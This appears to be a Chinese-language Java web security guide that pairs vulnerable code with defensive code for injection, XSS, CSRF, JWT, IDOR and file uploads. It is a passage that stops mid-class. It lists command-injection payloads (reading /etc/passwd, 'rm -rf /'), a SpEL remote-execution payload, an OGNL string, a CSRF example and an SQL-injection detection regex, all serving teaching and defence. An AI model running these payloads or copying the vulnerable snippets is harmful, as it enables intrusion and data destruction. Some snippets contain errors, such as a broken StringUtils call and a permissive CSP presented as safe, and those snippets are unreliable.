Java Web常见安全漏洞深度解析与防御指南

一、安全开发概述

1.1 安全开发原则

原则 说明 实践要点
最小权限 仅授予完成任务所需的最小权限 数据库账号只授予必要权限,应用使用低权限账号运行
纵深防御 多层安全控制,不依赖单一防护 WAF + 代码过滤 + 数据库参数化 + 审计日志
默认安全 默认配置应是安全的 默认关闭调试模式、禁用危险API
失败安全 失败时应拒绝访问而非放行 认证失败时拒绝访问,而非默认通过
职责分离 关键操作需要多人参与 代码审核、权限变更需要审批

1.2 安全开发生命周期(SDL)

需求阶段 → 威胁建模
  ↓
设计阶段 → 安全设计评审
  ↓
编码阶段 → 安全编码规范 + IDE插件检查
  ↓
测试阶段 → SAST + DAST + 渗透测试
  ↓
部署阶段 → 安全配置检查
  ↓
运维阶段 → 漏洞监控 + 应急响应

二、注入漏洞

2.1 SQL注入

2.1.1 漏洞原理

SQL注入是指攻击者通过在输入中插入恶意SQL代码,使应用程序将用户输入作为SQL命令的一部分执行,从而实现:

  • 绕过身份认证
  • 非法读取/修改/删除数据
  • 执行数据库管理操作
  • 读取服务器文件

2.1.2 注入类型

类型 特征 危害等级
联合查询注入 使用UNION SELECT获取数据 ⭐⭐⭐
布尔盲注 通过页面返回差异判断数据 ⭐⭐⭐
时间盲注 通过响应时间差异判断数据 ⭐⭐⭐
报错注入 利用数据库报错信息获取数据 ⭐⭐⭐
堆叠注入 执行多条SQL语句 ⭐⭐⭐⭐⭐

2.1.3 漏洞代码示例

// ❌ 危险:字符串拼接SQL
public User getUserById(String id) {
    String sql = "SELECT * FROM users WHERE id = " + id;
    return jdbcTemplate.queryForObject(sql, User.class);
}

// ❌ 危险:MyBatis使用${}进行字符串替换
// <select id="getUser" resultType="User">
//     SELECT * FROM users WHERE id = ${id}
// </select>

// ❌ 危险:动态拼接LIKE查询
public List<User> searchUsers(String keyword) {
    String sql = "SELECT * FROM users WHERE name LIKE '%" + keyword + "%'";
    return jdbcTemplate.query(sql, new UserRowMapper());
}

2.1.4 安全防御代码

方案一:PreparedStatement(推荐)

// ✅ 安全:使用预编译语句
@Repository
public class UserRepository {
    
    @Autowired
    private JdbcTemplate jdbcTemplate;
    
    public User getUserById(Long id) {
        String sql = "SELECT * FROM users WHERE id = ?";
        return jdbcTemplate.queryForObject(sql, new UserRowMapper(), id);
    }
    
    public List<User> searchUsers(String keyword) {
        String sql = "SELECT * FROM users WHERE name LIKE ?";
        return jdbcTemplate.query(sql, new UserRowMapper(), "%" + keyword + "%");
    }
    
    public int updateUser(String name, Long id) {
        String sql = "UPDATE users SET name = ? WHERE id = ?";
        return jdbcTemplate.update(sql, name, id);
    }
}

方案二:MyBatis安全写法

// ✅ 安全:使用#{}预编译参数
@Mapper
public interface UserMapper {
    
    // 单参数查询
    @Select("SELECT * FROM users WHERE id = #{id}")
    User getUserById(@Param("id") Long id);
    
    // 动态条件查询
    @Select("<script>" +
            "SELECT * FROM users WHERE 1=1" +
            "<if test='name != null'>AND name = #{name}</if>" +
            "<if test='email != null'>AND email = #{email}</if>" +
            "</script>")
    List<User> searchUsers(@Param("name") String name, @Param("email") String email);
    
    // 批量查询(安全方式)
    @Select("<script>" +
            "SELECT * FROM users WHERE id IN " +
            "<foreach item='id' collection='ids' open='(' separator=',' close=')'>" +
            "#{id}" +
            "</foreach>" +
            "</script>")
    List<User> getUsersByIds(@Param("ids") List<Long> ids);
}

方案三:JPA/JPQL安全写法

// ✅ 安全:使用命名参数
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
    
    @Query("SELECT u FROM User u WHERE u.email = :email")
    User findByEmail(@Param("email") String email);
    
    @Query("SELECT u FROM User u WHERE u.name LIKE %:keyword% OR u.email LIKE %:keyword%")
    List<User> searchByKeyword(@Param("keyword") String keyword);
    
    // 使用Specification进行动态查询
    default List<User> dynamicSearch(UserSearchDTO criteria) {
        return findAll((root, query, cb) -> {
            List<Predicate> predicates = new ArrayList<>();
            
            if (StringUtils.isNotBlank(criteria.getName())) {
                predicates.add(cb.like(root.get("name"), "%" + criteria.getName() + "%"));
            }
            if (StringUtils.getEmail() != null) {
                predicates.add(cb.equal(root.get("email"), criteria.getEmail()));
            }
            
            return cb.and(predicates.toArray(new Predicate[0]));
        });
    }
}

方案四:存储过程调用

// ✅ 安全:调用存储过程
@Service
public class UserService {
    
    @PersistenceContext
    private EntityManager entityManager;
    
    public User getUserById(Long id) {
        StoredProcedureQuery query = entityManager
            .createStoredProcedureQuery("sp_get_user", User.class)
            .registerStoredProcedureParameter("userId", Long.class, ParameterMode.IN)
            .setParameter("userId", id);
        
        return (User) query.getSingleResult();
    }
}

2.1.5 企业级防御策略

/**
 * SQL注入防护过滤器
 * 实现多层防御:参数校验 + SQL日志审计
 */
@Component
@WebFilter(urlPatterns = "/*")
public class SqlInjectionFilter implements Filter {
    
    // SQL注入特征正则表达式
    private static final Pattern SQL_INJECTION_PATTERN = Pattern.compile(
        "('\\s*(or|and)\\s*')|(--)|(;\\s*(drop|delete|update|insert|exec|execute))" +
        "|(union\\s+select)|(select\\s+.*from)|(insert\\s+into)" +
        "|(delete\\s+from)|(update\\s+.*set)|(drop\\s+(table|database))",
        Pattern.CASE_INSENSITIVE
    );
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        
        // 检查所有参数
        if (isSqlInjectionDetected(httpRequest)) {
            // 记录攻击日志
            logAttackAttempt(httpRequest);
            
            // 返回400错误
            HttpServletResponse httpResponse = (HttpServletResponse) response;
            httpResponse.setStatus(HttpServletResponse.SC_BAD_REQUEST);
            httpResponse.getWriter().write("Invalid input detected");
            return;
        }
        
        chain.doFilter(request, response);
    }
    
    private boolean isSqlInjectionDetected(HttpServletRequest request) {
        // 检查URL参数
        if (request.getQueryString() != null && 
            containsSqlInjection(request.getQueryString())) {
            return true;
        }
        
        // 检查表单参数
        Map<String, String[]> params = request.getParameterMap();
        for (String[] values : params.values()) {
            for (String value : values) {
                if (containsSqlInjection(value)) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private boolean containsSqlInjection(String input) {
        if (input == null) return false;
        
        // URL解码
        String decoded = URLDecoder.decode(input, StandardCharsets.UTF_8);
        
        // 移除多余空格
        String normalized = decoded.replaceAll("\\s+", " ");
        
        return SQL_INJECTION_PATTERN.matcher(normalized).find();
    }
    
    private void logAttackAttempt(HttpServletRequest request) {
        log.warn("SQL Injection attempt detected: IP={}, URI={}, Params={}",
            request.getRemoteAddr(),
            request.getRequestURI(),
            request.getParameterMap());
    }
}

2.2 命令注入

2.2.1 漏洞原理

命令注入是指应用程序将用户输入直接拼接到系统命令中执行,攻击者可以注入恶意命令。

2.2.2 漏洞代码示例

// ❌ 危险:直接执行系统命令
public String executeCommand(String userInput) {
    Runtime.getRuntime().exec("ping " + userInput);
    return "Command executed";
}

// ❌ 危险:使用ProcessBuilder但未过滤
public String getPingResult(String host) throws IOException {
    ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", host);
    Process process = pb.start();
    // ...
}

攻击Payload示例

; ls -la
| cat /etc/passwd
&& rm -rf /
`whoami`
$(id)

2.2.3 安全防御代码

/**
 * 安全的命令执行服务
 */
@Service
public class SecureCommandService {
    
    // 允许执行的命令白名单
    private static final Set<String> ALLOWED_COMMANDS = Set.of(
        "ping", "traceroute", "nslookup"
    );
    
    // 参数正则校验(只允许字母、数字、点、横线)
    private static final Pattern SAFE_PARAM_PATTERN = 
        Pattern.compile("^[a-zA-Z0-9.\\-]+$");
    
    // 禁止的危险字符
    private static final Pattern DANGEROUS_CHARS = 
        Pattern.compile("[;&|`$(){}\\[\\]!#\\s]");
    
    /**
     * 安全执行ping命令
     */
    public String safePing(String host) throws Exception {
        // 1. 参数校验
        if (!isValidHost(host)) {
            throw new IllegalArgumentException("Invalid host format");
        }
        
        // 2. 使用白名单命令 + 参数数组(避免shell解释)
        ProcessBuilder pb = new ProcessBuilder(
            "/bin/ping",  // 使用绝对路径
            "-c", "3",    // 限制ping次数
            "-W", "5",    // 超时时间
            host
        );
        
        // 3. 禁止继承IO
        pb.redirectErrorStream(true);
        
        // 4. 设置超时控制
        Process process = pb.start();
        boolean finished = process.waitFor(30, TimeUnit.SECONDS);
        
        if (!finished) {
            process.destroyForcibly();
            throw new TimeoutException("Command execution timeout");
        }
        
        // 5. 读取输出(限制大小防止DoS)
        return readProcessOutput(process, 1024 * 1024); // 最大1MB
    }
    
    /**
     * 主机名校验
     */
    private boolean isValidHost(String host) {
        if (StringUtils.isBlank(host) || host.length() > 255) {
            return false;
        }
        
        // 检查危险字符
        if (DANGEROUS_CHARS.matcher(host).find()) {
            return false;
        }
        
        // 校验IP格式或域名格式
        return isValidIpAddress(host) || isValidDomainName(host);
    }
    
    private boolean isValidIpAddress(String ip) {
        try {
            InetAddress.getByName(ip);
            return true;
        } catch (UnknownHostException e) {
            return false;
        }
    }
    
    private boolean isValidDomainName(String domain) {
        return domain.matches("^[a-zA-Z0-9]([a-zA-Z0-9\\-]*[a-zA-Z0-9])?(\\.[a-zA-Z]{2,})+$");
    }
    
    /**
     * 安全读取进程输出(限制大小)
     */
    private String readProcessOutput(Process process, int maxSize) throws IOException {
        StringBuilder output = new StringBuilder();
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            String line;
            while ((line = reader.readLine()) != null) {
                if (output.length() + line.length() > maxSize) {
                    output.append("\n... [Output truncated]");
                    break;
                }
                output.append(line).append("\n");
            }
        }
        return output.toString();
    }
}

2.3 表达式注入(SpEL/OGNL)

2.3.1 漏洞原理

Spring表达式语言(SpEL)和OGNL表达式如果被用户控制,可以执行任意代码。

2.3.2 漏洞代码示例

// ❌ 危险:用户输入作为SpEL表达式
@GetMapping("/evaluate")
public String evaluate(@RequestParam String expression) {
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(expression);
    return exp.getValue().toString(); // 用户可执行任意代码
}

// ❌ 危险:OGNL表达式注入(Struts2常见)
// ${#context['xwork.MethodAccessor.denyMethodExecution']=false}

攻击Payload示例

// RCE via SpEL
T(java.lang.Runtime).getRuntime().exec('calc.exe')

// 获取Spring Bean
#{@systemProperties.get('user.dir')}

2.3.3 安全防御代码

/**
 * 安全的表达式评估服务
 */
@Service
public class SafeExpressionService {
    
    /**
     * 使用SimpleEvaluationContext限制可用功能
     */
    public Object safeEvaluate(String expression, Map<String, Object> variables) {
        // 1. 使用安全的评估上下文(禁止反射和类型引用)
        SimpleEvaluationContext context = SimpleEvaluationContext
            .forReadOnlyDataBinding()
            .withRootObject(variables)
            .build();
        
        // 2. 创建受限的SpEL解析器
        SpelExpressionParser parser = new SpelExpressionParser();
        
        // 3. 解析并评估
        Expression exp = parser.parseExpression(expression);
        return exp.getValue(context);
    }
    
    /**
     * 白名单方式:只允许特定表达式模式
     */
    private static final Pattern SAFE_EXPRESSION = 
        Pattern.compile("^[a-zA-Z_][a-zA-Z0-9_.]*(\\[.*\\])*$");
    
    public Object whitelistEvaluate(String expression) {
        if (!SAFE_EXPRESSION.matcher(expression).matches()) {
            throw new SecurityException("Expression not allowed: " + expression);
        }
        
        // 使用标准Bean表达式解析(更安全)
        BeanExpressionResolver resolver = new StandardBeanExpressionResolver();
        return resolver.evaluate(expression, new BeanExpressionContext(
            applicationContext.getBeanFactory(), null
        ));
    }
}

三、身份认证与访问控制

3.1 XSS跨站脚本攻击

3.1.1 漏洞原理

XSS(Cross-Site Scripting)是指攻击者在网页中注入恶意脚本代码,当其他用户访问该页面时,脚本会在受害者浏览器中执行。

3.1.2 XSS类型

类型 存储位置 触发方式 危害等级
反射型XSS URL参数 用户点击恶意链接 ⭐⭐⭐
存储型XSS 数据库 用户访问页面自动触发 ⭐⭐⭐⭐⭐
DOM型XSS 前端JS 客户端脚本执行 ⭐⭐⭐
Mutation XSS 浏览器解析 浏览器解析差异触发 ⭐⭐⭐⭐

3.1.3 漏洞代码示例

// ❌ 危险:直接输出用户输入到HTML
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
    model.addAttribute("keyword", keyword); // 未转义
    return "search";
}

// 模板中
// <p>搜索结果:${keyword}</p>

// ❌ 危险:JavaScript中输出未转义数据
// <script>
//   var userData = "${userInput}";  // 用户输入 "<script>alert(1)</script>"
// </script>

3.1.4 安全防御代码

方案一:Thymeleaf自动转义(推荐)

<!-- ✅ 安全:Thymeleaf默认HTML转义 -->
<p th:text="${userInput}">自动转义,安全</p>

<!-- ✅ 安全:JavaScript字符串转义 -->
<script th:inline="javascript">
    var userData = [[${userInput}]];  // 自动转义JS特殊字符
</script>

<!-- ✅ 安全:URL参数转义 -->
<a th:href="@{/search(keyword=${keyword})}">搜索</a>

<!-- ❌ 危险:禁用转义 -->
<!-- <p th:utext="${userInput}">不转义,危险!</p> -->

方案二:自定义XSS过滤器

/**
 * XSS攻击过滤器
 */
@Component
@WebFilter(urlPatterns = "/*", asyncSupported = true)
public class XssFilter implements Filter {
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        chain.doFilter(
            new XssHttpServletRequestWrapper((HttpServletRequest) request),
            response
        );
    }
}

/**
 * XSS请求包装器
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    
    public XssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
    }
    
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        return value != null ? cleanXSS(value) : null;
    }
    
    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) return null;
        
        String[] cleanValues = new String[values.length];
        for (int i = 0; i < values.length; i++) {
            cleanValues[i] = cleanXSS(values[i]);
        }
        return cleanValues;
    }
    
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return value != null ? cleanXSS(value) : null;
    }
    
    /**
     * 清理XSS攻击代码
     */
    private String cleanXSS(String value) {
        if (value == null) return null;
        
        // HTML实体编码
        value = HtmlUtils.htmlEscape(value, "UTF-8");
        
        // 额外的XSS过滤规则
        value = value.replaceAll("(?i)<script[^>]*>", "");
        value = value.replaceAll("(?i)</script>", "");
        value = value.replaceAll("(?i)javascript:", "");
        value = value.replaceAll("(?i)on\\w+\\s*=", "");
        value = value.replaceAll("(?i)expression\\s*\\(", "");
        
        return value;
    }
}

方案三:Spring Security XSS防护配置

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .headers(headers -> headers
                // 启用XSS保护
                .xssProtection(xss -> xss
                    .headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
                )
                // 内容安全策略
                .contentSecurityPolicy(csp -> csp
                    .policyDirectives(
                        "default-src 'self'; " +
                        "script-src 'self' 'unsafe-inline' 'unsafe-eval'; " +
                        "style-src 'self' 'unsafe-inline'; " +
                        "img-src 'self' data:; " +
                        "font-src 'self'; " +
                        "frame-ancestors 'none'"
                    )
                )
                // 防止MIME类型嗅探
                .contentTypeOptions(cto -> {})
                // 防止点击劫持
                .frameOptions(frame -> frame.deny())
            );
        
        return http.build();
    }
}

方案四:前端XSS防护

// ✅ 安全的DOM操作
function safeSetContent(element, userContent) {
    // 使用textContent而非innerHTML
    element.textContent = userContent;
}

// ✅ 安全的属性设置
function safeSetAttribute(element, attr, value) {
    if (attr === 'href' || attr === 'src') {
        // 校验URL协议
        if (!value.match(/^https?:\/\//)) {
            value = 'javascript:void(0)';
        }
    }
    element.setAttribute(attr, value);
}

// ✅ 使用DOMPurify库进行HTML清理
import DOMPurify from 'dompurify';

function safeSetHTML(element, dirtyHTML) {
    element.innerHTML = DOMPurify.sanitize(dirtyHTML, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
        ALLOWED_ATTR: ['href', 'title']
    });
}

3.2 CSRF跨站请求伪造

3.2.1 漏洞原理

CSRF(Cross-Site Request Forgery)攻击者诱导用户访问恶意网站,利用用户已登录的身份,在用户不知情的情况下执行非预期操作。

3.2.2 漏洞场景

1. 用户登录银行网站(bank.com),获得Session Cookie
2. 用户访问恶意网站(evil.com)
3. 恶意网站包含:<img src="https://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器自动携带Cookie发送请求
5. 银行服务器认为是用户正常操作,执行转账

2.2.3 安全防御代码

方案一:Spring Security CSRF防护(默认开启)

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // CSRF防护(默认开启)
            .csrf(csrf -> csrf
                // 自定义Token存储
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                // 忽略特定路径(如API接口)
                .ignoringRequestMatchers("/api/**")
            );
        
        return http.build();
    }
}

方案二:前后端分离 + JWT场景

@Configuration
@EnableWebSecurity
public class JwtSecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // 使用JWT时可禁用CSRF(JWT本身防CSRF)
            .csrf(csrf -> csrf.disable())
            // 无状态Session
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
            )
            // JWT过滤器
            .addFilterBefore(jwtAuthenticationFilter(), 
                UsernamePasswordAuthenticationFilter.class);
        
        return http.build();
    }
}

方案三:SameSite Cookie配置

@Configuration
public class CookieConfig {
    
    @Bean
    public CookieSameSiteAttributeCustomizer cookieSameSiteAttributeCustomizer() {
        return (container) -> {
            SessionCookieConfig cookie = container.getSessionCookieConfig();
            cookie.setHttpOnly(true);
            cookie.setSecure(true);
            // 设置SameSite=Strict或Lax
        };
    }
}

// Spring Boot 2.6+ 配置
// application.yml
// server:
//   servlet:
//     session:
//       cookie:
//         same-site: lax
//         secure: true
//         http-only: true

方案四:双重提交Cookie模式

/**
 * 双重提交Cookie CSRF防护
 */
@Component
public class DoubleSubmitCsrfFilter implements Filter {
    
    private static final String CSRF_HEADER = "X-CSRF-TOKEN";
    private static final String CSRF_COOKIE = "CSRF-TOKEN";
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        // GET请求设置CSRF Token
        if ("GET".equalsIgnoreCase(httpRequest.getMethod())) {
            String token = generateCsrfToken();
            Cookie cookie = new Cookie(CSRF_COOKIE, token);
            cookie.setHttpOnly(false); // 前端需要读取
            cookie.setSecure(true);
            cookie.setPath("/");
            httpResponse.addCookie(cookie);
            chain.doFilter(request, response);
            return;
        }
        
        // 非GET请求验证CSRF Token
        String headerToken = httpRequest.getHeader(CSRF_HEADER);
        String cookieToken = getCookieValue(httpRequest, CSRF_COOKIE);
        
        if (headerToken == null || !headerToken.equals(cookieToken)) {
            httpResponse.setStatus(HttpServletResponse.SC_FORBIDDEN);
            httpResponse.getWriter().write("CSRF token validation failed");
            return;
        }
        
        chain.doFilter(request, response);
    }
    
    private String generateCsrfToken() {
        byte[] bytes = new byte[32];
        new SecureRandom().nextBytes(bytes);
        return Base64.getEncoder().encodeToString(bytes);
    }
    
    private String getCookieValue(HttpServletRequest request, String name) {
        if (request.getCookies() == null) return null;
        return Arrays.stream(request.getCookies())
            .filter(c -> name.equals(c.getName()))
            .map(Cookie::getValue)
            .findFirst()
            .orElse(null);
    }
}

3.3 JWT安全

3.3.1 漏洞原理

JWT(JSON Web Token)常见安全问题:

  • 算法混淆攻击:将RS256改为HS256,使用公钥作为密钥
  • 弱密钥:密钥可被暴力破解
  • Token泄露:存储不当导致Token被盗
  • 缺少过期机制:Token永久有效

3.3.2 漏洞代码示例

// ❌ 危险:使用弱密钥
String secret = "123456";

// ❌ 危险:未验证算法
DecodedJWT jwt = JWT.decode(token); // 不验证签名

// ❌ 危险:将敏感信息放入JWT
String token = JWT.create()
    .withClaim("password", user.getPassword())  // 密码不应放入JWT
    .sign(algorithm);

3.3.3 安全防御代码

/**
 * 安全的JWT服务
 */
@Service
public class SecureJwtService {
    
    // ✅ 使用强密钥(至少256位)
    @Value("${jwt.secret}")
    private String secret; // 从配置中心读取,不在代码中硬编码
    
    // ✅ Token有效期
    private static final long ACCESS_TOKEN_EXPIRY = 15 * 60 * 1000; // 15分钟
    private static final long REFRESH_TOKEN_EXPIRY = 7 * 24 * 60 * 60 * 1000; // 7天
    
    private Algorithm algorithm;
    
    @PostConstruct
    public void init() {
        // ✅ 使用HMAC SHA256算法
        this.algorithm = Algorithm.HMAC256(secret);
    }
    
    /**
     * 生成Access Token
     */
    public String generateAccessToken(UserDetails userDetails) {
        return JWT.create()
            .withSubject(userDetails.getUsername())
            .withIssuedAt(new Date())
            .withExpiresAt(new Date(System.currentTimeMillis() + ACCESS_TOKEN_EXPIRY))
            .withIssuer("my-app")
            .withClaim("roles", userDetails.getAuthorities().stream()
                .map(GrantedAuthority::getAuthority)
                .collect(Collectors.toList()))
            // ✅ 不放入敏感信息
            .sign(algorithm);
    }
    
    /**
     * 生成Refresh Token
     */
    public String generateRefreshToken(UserDetails userDetails) {
        return JWT.create()
            .withSubject(userDetails.getUsername())
            .withIssuedAt(new Date())
            .withExpiresAt(new Date(System.currentTimeMillis() + REFRESH_TOKEN_EXPIRY))
            .withIssuer("my-app")
            .withJWTId(UUID.randomUUID().toString()) // 唯一ID,用于Token撤销
            .sign(algorithm);
    }
    
    /**
     * 验证Token
     */
    public DecodedJWT verifyToken(String token) {
        try {
            // ✅ 指定允许的算法(防止算法混淆攻击)
            JWTVerifier verifier = JWT.require(algorithm)
                .withIssuer("my-app")
                .acceptExpiresAt(5) // 5秒的时钟偏差容忍
                .build();
            
            return verifier.verify(token);
        } catch (JWTVerificationException e) {
            log.warn("JWT verification failed: {}", e.getMessage());
            throw new InvalidTokenException("Invalid token", e);
        }
    }
    
    /**
     * Token黑名单(用于登出和Token撤销)
     */
    @Component
    public static class TokenBlacklist {
        
        @Autowired
        private RedisTemplate<String, String> redisTemplate;
        
        private static final String BLACKLIST_PREFIX = "token:blacklist:";
        
        public void blacklist(String tokenId, long expiryTime) {
            long ttl = expiryTime - System.currentTimeMillis();
            if (ttl > 0) {
                redisTemplate.opsForValue().set(
                    BLACKLIST_PREFIX + tokenId,
                    "revoked",
                    ttl,
                    TimeUnit.MILLISECONDS
                );
            }
        }
        
        public boolean isBlacklisted(String tokenId) {
            return Boolean.TRUE.equals(
                redisTemplate.hasKey(BLACKLIST_PREFIX + tokenId)
            );
        }
    }
}

/**
 * JWT认证过滤器
 */
@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {
    
    @Autowired
    private SecureJwtService jwtService;
    
    @Autowired
    private SecureJwtService.TokenBlacklist tokenBlacklist;
    
    @Override
    protected void doFilterInternal(HttpServletRequest request,
                                    HttpServletResponse response,
                                    FilterChain chain) throws ServletException, IOException {
        
        String token = extractToken(request);
        
        if (token == null) {
            chain.doFilter(request, response);
            return;
        }
        
        try {
            DecodedJWT jwt = jwtService.verifyToken(token);
            
            // ✅ 检查Token是否在黑名单中
            if (tokenBlacklist.isBlacklisted(jwt.getId())) {
                throw new InvalidTokenException("Token has been revoked");
            }
            
            // 创建认证对象
            UsernamePasswordAuthenticationToken authentication = 
                new UsernamePasswordAuthenticationToken(
                    jwt.getSubject(),
                    null,
                    jwt.getClaim("roles").asList(String.class).stream()
                        .map(SimpleGrantedAuthority::new)
                        .collect(Collectors.toList())
                );
            
            SecurityContextHolder.getContext().setAuthentication(authentication);
            
        } catch (JWTVerificationException e) {
            log.warn("JWT authentication failed: {}", e.getMessage());
        }
        
        chain.doFilter(request, response);
    }
    
    private String extractToken(HttpServletRequest request) {
        String header = request.getHeader("Authorization");
        if (header != null && header.startsWith("Bearer ")) {
            return header.substring(7);
        }
        return null;
    }
}

3.4 越权访问(IDOR)

3.4.1 漏洞原理

IDOR(Insecure Direct Object Reference)是指应用程序直接使用用户可控的参数访问对象,未验证用户是否有权访问该对象。

3.4.2 漏洞类型

类型 说明 示例
水平越权 访问同级别其他用户的数据 用户A查看用户B的订单
垂直越权 访问更高权限的功能 普通用户访问管理员接口
对象级越权 访问未授权的API对象 修改用户ID获取他人信息

3.4.3 漏洞代码示例

// ❌ 危险:未校验资源所属用户
@GetMapping("/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    return orderRepository.findById(orderId)
        .orElseThrow(() -> new NotFoundException("Order not found"));
    // 任何用户都可以访问任何订单
}

3.4.4 安全防御代码

方案一:方法级权限校验

/**
 * 订单服务 - 实现权限校验
 */
@Service
@Transactional
public class SecureOrderService {
    
    @Autowired
    private OrderRepository orderRepository;
    
    /**
     * 水平权限校验:用户只能访问自己的订单
     */
    public Order getOrder(Long orderId, Long userId) {
        Order order = orderRepository.findById(orderId)
            .orElseThrow(() -> new NotFoundException("Order not found"));
        
        // ✅ 校验订单所属用户
        if (!order.getUserId().equals(userId)) {
            throw new AccessDeniedException("You don't have permission to access this order");
        }
        
        return order;
    }
    
    /**
     * 使用Specification实现查询级别的数据隔离
     */
    public Page<Order> getUserOrders(Long userId, Pageable pageable) {
        // ✅ 查询条件强制加上userId过滤
        Specification<Order> spec = (root, query, cb) -> 
            cb.equal(root.get("userId"), userId);
        
        return orderRepository.findAll(spec, pageable);
    }
}

/**
 * 控制器层权限校验
 */
@RestController
@RequestMapping("/api/orders")
public class OrderController {
    
    @Autowired
    private SecureOrderService orderService;
    
    @GetMapping("/{orderId}")
    public ResponseEntity<OrderDTO> getOrder(
            @PathVariable Long orderId,
            @AuthenticationPrincipal UserDetails userDetails) {
        
        Long currentUserId = getCurrentUserId(userDetails);
        Order order = orderService.getOrder(orderId, currentUserId);
        
        return ResponseEntity.ok(toDTO(order));
    }
}

方案二:使用Spring Security权限注解

/**
 * 管理员接口 - 垂直权限控制
 */
@RestController
@RequestMapping("/api/admin")
@PreAuthorize("hasRole('ADMIN')")  // ✅ 类级别权限控制
public class AdminController {
    
    @GetMapping("/users")
    @PreAuthorize("hasAuthority('user:read')")  // ✅ 方法级别权限控制
    public ResponseEntity<List<UserDTO>> getAllUsers() {
        // ...
    }
    
    @DeleteMapping("/users/{userId}")
    @PreAuthorize("hasAuthority('user:delete')")
    public ResponseEntity<Void> deleteUser(@PathVariable Long userId) {
        // ...
    }
}

/**
 * 自定义权限评估器
 */
@Component("permissionEvaluator")
public class CustomPermissionEvaluator implements PermissionEvaluator {
    
    @Autowired
    private ObjectPermissionService permissionService;
    
    @Override
    public boolean hasPermission(Authentication authentication, 
                                 Object targetDomainObject, Object permission) {
        if (targetDomainObject == null) return false;
        
        Long userId = getUserId(authentication);
        String targetType = targetDomainObject.getClass().getSimpleName();
        
        return permissionService.hasPermission(userId, targetType, 
            targetDomainObject, permission.toString());
    }
    
    @Override
    public boolean hasPermission(Authentication authentication,
                                 Serializable targetId, String targetType, Object permission) {
        Long userId = getUserId(authentication);
        return permissionService.hasPermission(userId, targetType, 
            targetId, permission.toString());
    }
    
    private Long getUserId(Authentication authentication) {
        return ((UserDetails) authentication.getPrincipal()).getId();
    }
}

// 使用自定义权限评估器
@PreAuthorize("hasPermission(#orderId, 'Order', 'read')")
public Order getOrder(Long orderId) {
    // ...
}

方案三:数据行级权限(Row Level Security)

/**
 * 基于Hibernate Filter的数据行级权限
 */
@Entity
@Table(name = "orders")
@FilterDef(name = "tenantFilter", parameters = {
    @ParamDef(name = "tenantId", type = "long")
})
@Filter(name = "tenantFilter", condition = "tenant_id = :tenantId")
public class Order {
    // ...
    @Column(name = "tenant_id")
    private Long tenantId;
}

/**
 * 租户过滤器自动应用
 */
@Component
public class TenantFilterInterceptor implements MethodInterceptor {
    
    @PersistenceContext
    private EntityManager entityManager;
    
    @Override
    public Object invoke(MethodInvocation invocation) throws Throwable {
        try {
            // 自动应用租户过滤器
            enableTenantFilter();
            return invocation.proceed();
        } finally {
            disableTenantFilter();
        }
    }
    
    private void enableTenantFilter() {
        Long tenantId = SecurityUtils.getCurrentTenantId();
        Session session = entityManager.unwrap(Session.class);
        session.enableFilter("tenantFilter").setParameter("tenantId", tenantId);
    }
    
    private void disableTenantFilter() {
        Session session = entityManager.unwrap(Session.class);
        session.disableFilter("tenantFilter");
    }
}

四、文件与资源处理

4.1 文件上传漏洞

4.1.1 漏洞原理

文件上传漏洞是指攻击者上传恶意文件(如WebShell),服务器未正确校验文件类型、内容或存储位置,导致恶意代码被执行。

4.1.2 常见绕过方式

绕过方式 说明 防御方法
扩展名绕过 使用.php5、.phtml等 白名单校验
MIME类型绕过 修改Content-Type 检查文件魔数
文件内容绕过 图片马 检查文件头
双扩展名绕过 shell.php.jpg 规范化文件名
00截断 shell.php%00.jpg 使用新版本JDK
.htaccess绕过 上传.htaccess 禁止上传配置文件

4.1.3 安全防御代码

/**
 * 企业级安全文件上传服务
 */
@Service
@Slf4j
public class SecureFileUploadService {
    
    // 白名单:允许的文件类型
    private static final Map<String, Set<String>> ALLOWED_TYPES = Map.of(
        "image", Set.of("jpg", "jpeg", "png", "gif", "webp"),
        "document", Set.of("pdf", "doc", "docx", "xls", "xlsx"),
        "archive", Set.of("zip", "rar", "7z")
    );
    
    // 文件魔数(文件头)校验
    private static final Map<String, byte[]> FILE_SIGNATURES = Map.of(
        "jpg", new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF},
        "png", new byte[]{(byte) 0x89, 0x50, 0x4E, 0x47},
        "gif", new byte[]{0x47, 0x49, 0x46, 0x38},
        "pdf", new byte[]{0x25, 0x50, 0x44, 0x46}
    );
    
    // 文件大小限制
    private static final long MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
    
    @Autowired
    private VirusScanService virusScanService;
    
